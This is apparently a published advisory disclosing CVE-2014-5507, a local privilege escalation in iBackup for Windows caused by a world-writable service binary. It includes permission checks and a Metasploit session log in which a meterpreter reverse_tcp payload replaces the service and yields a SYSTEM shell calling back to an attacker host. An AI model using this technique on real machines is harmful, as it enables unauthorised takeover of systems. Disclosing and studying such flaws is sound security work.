iBackup 10.0.0.32 – Local Privilege Escalation
# Exploit Title: iBackup <= 10.0.0.32 Local Privilege Escalation # Date: 23/01/2014 # Author: Glafkos Charalambous <glafkos.charalambous[at]unithreat.com> # Version: 10.0.0.32 # Vendor: IBackup # Vendor URL: https://www.ibackup.com/ # CVE-2014-5507 Vulnerability Details There are weak permissions for IBackupWindows default installation where everyone is allowed to change the ib_service.exe with an executable of their choice. When the service restarts or the system reboots the attacker payload will execute on the system with SYSTEM privileges. C:\Users\0x414141>icacls "C:\Program Files\IBackupWindows\ib_service.exe" C:\Program Files\IBackupWindows\ib_service.exe Everyone:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) Successfully processed 1 files; Failed processing 0 files C:\Users\0x414141>sc qc IBService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: IBService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\IBackupWindows\ib_service.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : IBackup Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem msf exploit(service_permissions) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 0x414141-PC\0x414141 @ 0x414141-PC 192.168.0.100:8443 -> 192.168.0.102:1158 (192.168.0.102) msf exploit(service_permissions) > show options Module options (exploit/windows/local/service_permissions): Name Current Setting Required Description ---- --------------- -------- ----------- AGGRESSIVE true no Exploit as many services as possible (dangerous) SESSION 1 yes The session to run this module on. Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none) LHOST 192.168.0.100 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf exploit(service_permissions) > exploit [*] Started reverse handler on 192.168.0.100:4444 [*] Meterpreter stager executable 15872 bytes long being uploaded.. [*] Trying to add a new service... [*] No privs to create a service... [*] Trying to find weak permissions in existing services.. [*] IBService has weak file permissions - C:\Program Files\IBackupWindows\ib_service.exe moved to C:\Program Files\IBackupWindows\ib_service.exe.bak and replaced. [*] Restarting IBService [*] Could not restart IBService. Wait for a reboot. (or force one yourself) Upon Reboot or Service Restart [*] Sending stage (770048 bytes) to 192.168.0.102 [*] Meterpreter session 2 opened (192.168.0.100:4444 -> 192.168.0.102:14852) at 2014-07-21 00:52:36 +0300 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > background [*] Backgrounding session 2... msf exploit(service_permissions) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 0x414141-PC\0x414141 @ 0x414141-PC 192.168.0.100:8443 -> 192.168.0.102:1158 (192.168.0.102) 2 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ 0x414141-PC 192.168.0.100:4444 -> 192.168.0.102:14852 (192.168.0.102) |